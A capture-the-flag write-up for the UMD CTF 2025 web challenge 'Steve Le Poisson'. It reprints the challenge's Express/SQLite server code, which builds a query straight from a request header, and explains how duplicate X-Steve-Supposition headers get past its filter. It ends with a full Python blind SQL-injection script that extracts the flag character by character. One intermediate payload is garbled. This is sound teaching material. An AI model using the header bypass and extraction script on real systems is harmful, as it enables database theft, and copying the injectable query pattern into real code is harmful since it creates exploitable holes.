Steve Le Poisson was a web challenge from UMD CTF 2025. The site plays a fun video of Steve:
Once the video ends, we have a page with an input box:
Lets take a look at the given source:
// đŠ Importation des modules nĂ©cessaires pour faire tourner notre monde sous-marin numĂ©rique
const express = require("express"); // Express, le cadre web minimaliste mais puissant
const sqlite3 = require("sqlite3"); // SQLite version brute, pour les bases de données légÚres
const sqlite = require("sqlite"); // Une interface moderne (promesse-friendly) pour SQLite
const cors = require("cors"); // Pour permettre Ă d'autres domaines de parler Ă notre serveur â Steve est sociable, mais pas trop
// đ CrĂ©ation de l'application Express : câest ici que commence lâaventure
const app = express();
// đ§Ș Fonction de validation des en-tĂȘtes HTTP
// Steve, ce poisson Ă la sensibilitĂ© exacerbĂ©e, dĂ©teste les en-tĂȘtes trop longs, ambigus ou mystĂ©rieux
function checkBadHeader(headerName, headerValue) {
return headerName.length > 80 ||
(headerName.toLowerCase() !== 'user-agent' && headerValue.length > 80) ||
headerValue.includes('\0'); // Le caractĂšre nul ? Un blasphĂšme pour Steve.
}
// đ Middleware pour autoriser les requĂȘtes Cross-Origin
app.use(cors());
// đ§ Middleware maison : ici, Steve le Poisson filtre les requĂȘtes selon ses principes aquatiques
app.use((req, res, next) => {
let steveHeaderValue = null; // On prĂ©pare le terrain pour rĂ©cupĂ©rer lâen-tĂȘte sacrĂ©
let totalHeaders = 0; // Pour compter â car Steve compte. Tout. Toujours.
// đ Parcours des en-tĂȘtes bruts, deux par deux (clĂ©, valeur)
for (let i = 0; i < req.rawHeaders.length; i += 2) {
let headerName = req.rawHeaders[i];
let headerValue = req.rawHeaders[i + 1];
// â Si un en-tĂȘte ne plaĂźt pas Ă Steve, il coupe net la communication
if (checkBadHeader(headerName, headerValue)) {
return res.status(403).send(`Steve le poisson, un animal marin dâapparence inoffensive mais dâopinion tranchĂ©e, nâa jamais vraiment supportĂ© tes en-tĂȘtes HTTP. Chaque fois quâil en voit passer un â mĂȘme sans savoir de quoi il sâagit exactement â son Ćil vitreux se plisse, et une sorte de grondement bouillonne dans ses branchies. Ce nâest pas quâil les comprenne, non, mais il les sent, il les ressent dans lâeau comme une vibration mal alignĂ©e, une dissonance numĂ©rique qui le met profondĂ©ment mal Ă lâaise. Il dit souvent, en tournoyant dâun air dramatique : « Pourquoi tant de formalisme ? Pourquoi cacher ce quâon est vraiment derriĂšre des chaĂźnes de caractĂšres obscures ? » Pour lui, ces en-tĂȘtes sont comme des algues synthĂ©tiques : inutiles, prĂ©tentieuses, et surtout Ă©trangĂšres Ă la fluiditĂ© du monde sous-marin. Il prĂ©fĂ©rerait mille fois un bon vieux flux binaire brut, sans tous ces ornements absurdes. Câest une affaire de principe.`); // Message dramatique de Steve
}
// đź Si on trouve lâen-tĂȘte "X-Steve-Supposition", on le garde
if (headerName.toLowerCase() === 'x-steve-supposition') {
steveHeaderValue = headerValue;
}
totalHeaders++; // 𧟠On incrémente notre compteur de verbosité HTTP
}
// đ§» Trop dâen-tĂȘtes ? Steve explose. LittĂ©ralement.
if (totalHeaders > 30) {
return res.status(403).send(`Steve le poisson, qui est orange avec de longs bras musclĂ©s et des jambes nerveuses, te fixe avec ses grands yeux globuleux. "Franchement," grogne-t-il en agitant une nageoire transformĂ©e en doigt accusateur, "tu abuses. Beaucoup trop dâen-tĂȘtes HTTP. Tu crois que câest un concours ? Chaque requĂȘte que tu envoies, câest un roman. Moi, je dois nager dans ce flux verbeux, et câest moi qui me noie ! Tâas entendu parler de minimalisme ? Non ? Et puis câest quoi ce dĂ©lire avec des en-tĂȘtes dupliquĂ©s ? Tu crois que le serveur, câest un psy, quâil doit tout Ă©couter deux fois ? Retiens-toi la prochaine fois, ou câest moi qui coupe la connexion."`); // Encore un monologue dramatique de Steve
}
// đ
ââïž Lâen-tĂȘte sacrĂ© est manquant ? BlasphĂšme total.
if (steveHeaderValue === null) {
return res.status(400).send(`Steve le poisson, toujours orange et furibond, bondit hors de lâeau avec ses jambes flĂ©chies et ses bras croisĂ©s. "Non mais sĂ©rieusement," rĂąle-t-il, "oĂč est passĂ© lâen-tĂȘte X-Steve-Supposition ? Tu veux que je devine tes intentions ? Tu crois que je lis dans les paquets TCP ? Cet en-tĂȘte, câest fondamental â câest lĂ que tu dĂ©clares tes hypothĂšses, tes intentions, ton respect pour le protocole sacrĂ© de Steve. Sans lui, je suis perdu, confus, dĂ©sorientĂ© comme un poisson hors dâun proxy.`);
}
// đ§Ș Validation de la structure de la supposition : uniquement des caractĂšres honorables
if (!/^[a-zA-Z0-9{}]+$/.test(steveHeaderValue)) {
return res.status(403).send(`Steve le poisson, ce poisson orange Ă la peau luisante et aux nageoires musclĂ©es, unique au monde, capable de nager sur la terre ferme et de marcher dans l'eau comme si câĂ©tait une moquette moelleuse, te regarde avec ses gros yeux globuleux remplis dâune indignation abyssale. Il claque de la langue â oui, car Steve a une langue, et elle est trĂšs expressive â en te voyant saisir ta supposition dans le champ prĂ©vu, un champ sacrĂ©, un espace rĂ©servĂ© aux caractĂšres honorables, alphabĂ©tiques et numĂ©riques, et toi, misĂ©rable bipĂšde aux doigts tĂ©mĂ©rairement chaotiques, tu as osĂ© y glisser des signes de ponctuation, des tilde, des diĂšses, des dollars, comme si câĂ©tait une brocante de symboles oubliĂ©s. Tu crois que câest un terrain de jeu, hein ? Mais pour Steve, ce champ est un pacte silencieux entre lâhumain et la machine, une zone de puretĂ© syntaxique. Et te voilĂ , en train de profaner cette convention sacrĂ©e avec ton â%â et ton â@â, comme si les rĂšgles nâĂ©taient que des suggestions. Steve bat furieusement des pattes arriĂšre â car oui, il a aussi des pattes arriĂšre, pour la traction tout-terrain â et fait jaillir de petites Ă©claboussures dâĂ©cume terrestre, signe suprĂȘme de sa colĂšre. âPourquoi ?â te demande-t-il, avec une voix grave et solennelle, comme un vieux capitaine marin Ă©chouĂ© dans un monde digital, âPourquoi chercher la dissonance quand lâharmonie suffisait ? Pourquoi saboter la beautĂ© simple de âazAZ09â avec tes gribouillages postmodernes ?â Et puis il sâapproche, les yeux plissĂ©s, et te lance dâun ton sec : âTu nâes pas digne de lâen-tĂȘte X-Steve-Supposition. Reviens quand tu sauras deviner avec dignitĂ©.`);
}
// â
Si tout est bon, Steve laisse passer la requĂȘte
next();
});
// đ Point d'entrĂ©e principal : route GET pour "deviner"
app.get('/deviner', async (req, res) => {
// đ Ouverture de la base de donnĂ©es SQLite
const db = await sqlite.open({
filename: "./database.db", // Chemin vers la base de données
driver: sqlite3.Database, // Le moteur utilisé
mode: sqlite3.OPEN_READONLY // j'ai oublieÌ ça
});
// đ ExĂ©cution d'une requĂȘte SQL : on cherche si la supposition de Steve est correcte
const rows = await db.all(`SELECT * FROM flag WHERE value = '${req.get("x-steve-supposition")}'`);
res.status(200); // đ Tout va bien, en apparence
// đ§ Si aucune ligne ne correspond, Steve se moque gentiment de toi
if (rows.length === 0) {
res.send("Bah, tu as tort."); // Pas de flag pour toi
} else {
res.send("Tu as raison!"); // Le flag Ă©tait bon. Steve tâaccorde son respect.
}
});
// đȘ On lance le serveur, tel un aquarium ouvert sur le monde
const PORT = 3000;
app.listen(PORT, "0.0.0.0", () => {
console.log(`Serveur en écoute sur http://localhost:${PORT}`);
});
We can see that there is an SQL injection here:
const rows = await db.all(`SELECT * FROM flag WHERE value = '${req.get("x-steve-supposition")}'`);
There is a filter being applied to the header value, but by setting mutltiple headers with the same value we can bypass this. The code captures the header value from the request using the X-Steve-Supposition header, but it only ever captures the last one encountered in the req.rawHeaders loop. However, the SQL query is actually using the value of the first X-Steve-Supposition header that was passed in the request. To bypass this, we set 2 headers, one that passes the check, and one with whatever payload we want.
I played around with SQL Injections and I found that a' UNION SELECT value FROM flag -- ';
got Tu as raison!
which meant the injection worked and a row was being returned. The only problem was that the row value wasn’t being returned to us in any way.
We can exfiltrate the flag by testing one character at a time and seeing if we get our response back.
"a' UNION SELECT value FROM flag WHERE substr(value,0='U' --
Full solve script:
import http.client
import time
import string
HOST = "steve-le-poisson-api.challs.umdctf.io"
PATH = "/deviner"
def get_character(position):
for char in string.printable:
sql_injection = f"a' UNION SELECT value FROM flag WHERE substr(value,{position},1)='{char}' -- "
conn = http.client.HTTPSConnection(HOST)
conn.putrequest("GET", PATH)
conn.putheader("X-Steve-Supposition", sql_injection)
conn.putheader("X-Steve-Supposition", "blah")
response = conn.getresponse()
body = response.read().decode()
conn.close()
if "Tu as raison!" in body:
return char
break
def get_flag():
flag = 'UMDCTF{'
position = 8
while True:
char = get_character(position)
flag += char
print(flag)
if char == "}":
break
position += 1
time.sleep(.1)
if __name__ == "__main__":
get_flag()
One thing to keep in mind is that pythons requests library uses a dictionary for headers, so multiple headers with the same key will name work. I used http.client instead
UMDCTF{ile5TVR4IM3NtTresbEAu}